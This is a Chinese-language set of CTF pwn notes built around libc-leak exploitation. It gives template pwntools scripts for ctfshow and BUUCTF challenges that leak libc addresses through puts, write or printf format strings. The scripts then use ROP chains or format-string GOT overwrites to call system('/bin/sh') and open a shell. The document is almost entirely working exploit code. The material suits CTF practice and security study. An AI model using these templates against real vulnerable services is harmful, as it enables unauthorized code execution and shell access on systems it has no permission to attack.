碰到一题学一题不断更新
libc泄露
这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露
puts泄露
puts(32位)
例题:ctfshow的pwn48
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * from LibcSearcher import *
r = remote("pwn.challenge.ctf.show", 28274) elf = ELF('./pwn48') offset = 0x6B + 0x4 main_addr = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) r.sendline(payload) puts_addr = u32(r.recvuntil('\xf7')[-4:]) print(hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_case = puts_addr - libc.dump('puts') system_addr = libc_case + libc.dump('system') bin_sh = libc_case + libc.dump('str_bin_sh') payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh) r.sendline(payload) r.interactive()
|
puts(64位)
例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * from LibcSearcher import *
r = remote("pwn.challenge.ctf.show", 28220) elf = ELF("./pwn46") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] main = elf.sym["main"] offset = 0x70+8 rdi_ret = 0x0000000000400803 ret = 0x00000000004004fe payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) r.recvuntil("O.o?\n") r.sendline(payload1) puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) libc_base=puts_addr-libc.dump("puts") system=libc_base+libc.dump("system") binsh=libc_base+libc.dump("str_bin_sh") print(hex(system)) print(hex(binsh)) payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system) r.sendline(payload2) r.interactive()
|
获取rdi,ret的地址可以通过ROPgadget
1
| ROPgadget --binary ./pwn46 --only "pop|ret"
|
write泄露
write(32位)
例题:BUUCTF的jarvisoj_level3
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from LibcSearcher import *
r=remote('node5.buuoj.cn',27119) elf=ELF('./level3') main = elf.sym["main"] write_plt=elf.plt['write'] write_got=elf.got['write'] offset = 0x88+4 payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil('Input:\n') r.sendline(payload) write_addr=u32(r.recv(4)) print(hex(write_addr)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system=libc_base+libc.dump('system') sh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
r.sendline(payload)
r.interactive()
|
write(64位)
例题:BUUCTF的jarvisoj_level3_x64
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher import *
elf = ELF('./level3_x64')
r = remote('node5.buuoj.cn', 28476)
write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main']
pop_rdi = 0x04006b3 pop_rsi_r15 = 0x4006b1
offset = 0x80 + 0x08
payload = flat( [b'A'] * offset, p64(pop_rdi), p64(1), p64(pop_rsi_r15), p64(write_got), p64(0), p64(write_plt), p64(main_addr) )
r.sendlineafter(b'Input:\n', payload)
write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'write@libc: {hex(write_leak)}')
libc = LibcSearcher('write', write_leak) libc_base = write_leak - libc.dump('write') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.info(f'libc base: {hex(libc_base)}') log.info(f'system@libc: {hex(system_addr)}') log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')
payload2 = flat( b'A' * offset, p64(pop_rdi), p64(bin_sh_addr), p64(system_addr) )
r.sendline(payload2)
r.interactive()
|
本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

如果有rdx的话
1 2 3 4 5 6 7 8 9 10 11 12
| payload = flat( [b'A'] * offset, p64(pop_rdi), p64(1), p64(pop_rsi_r15), p64(write_got), p64(0), p64(pop_rdx), p64(8), p64(write_plt), p64(main_addr) )
|
printf泄露(格式化字符串)
例题:ctfshow的pwn95
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import *
r = remote('pwn.challenge.ctf.show',28269) elf = ELF("./pwn")
offset = 6 printf_got = elf.got['printf'] payload1 = p32(printf_got) + b'%6$s' r.send(payload1) printf_addr = u32(r.recvuntil('\xf7')[-4:]) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system') payload = fmtstr_payload(offset,{printf_got:system_addr})
r.send(payload) r.send('/bin/sh') r.interactive()
|
例题:axb_2019_fmt64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64')
sh=remote('node5.buuoj.cn',26272) elf = ELF('./pwn') libc = ELF('./libc-2.23.so') puts_got=elf.got['puts'] printf_got =elf.got['printf'] main = elf.sym['main']
payload1 = b'%9$saaaa'+p64(puts_got) sh.sendlineafter('Please tell me:',payload1) puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print('puts_add=>',hex(puts_addr)) libc.address = puts_addr-libc.sym['puts'] system_addr = libc.sym['system'] printf_addr = libc.sym['printf'] print('system_add=>',hex(system_addr)) print('printf_add=>',hex(printf_addr))
sysaddr1=system_addr&0xff sysaddr2=(system_addr&0xff00)>>8 sysaddr3=(system_addr&0xff0000)>>16 print('sys1=>',hex(sysaddr1)) print('sys2=>',hex(sysaddr2)) print('sys3=>',hex(sysaddr3))
sysaddr1_value = sysaddr1-9 result = sysaddr2-sysaddr1 sysaddr2_value=result if result>0 else result+0x100 result = sysaddr3-sysaddr2 sysaddr3_value=result if result>0 else result+0x100
payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn' payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn' payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn' payload2=payload2.ljust(40,b'a') print('len=>',len(payload2)) print(payload2) payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)
sh.sendline(payload2) payload3 = b';/bin/sh' sh.sendline(payload3) sh.interactive()
|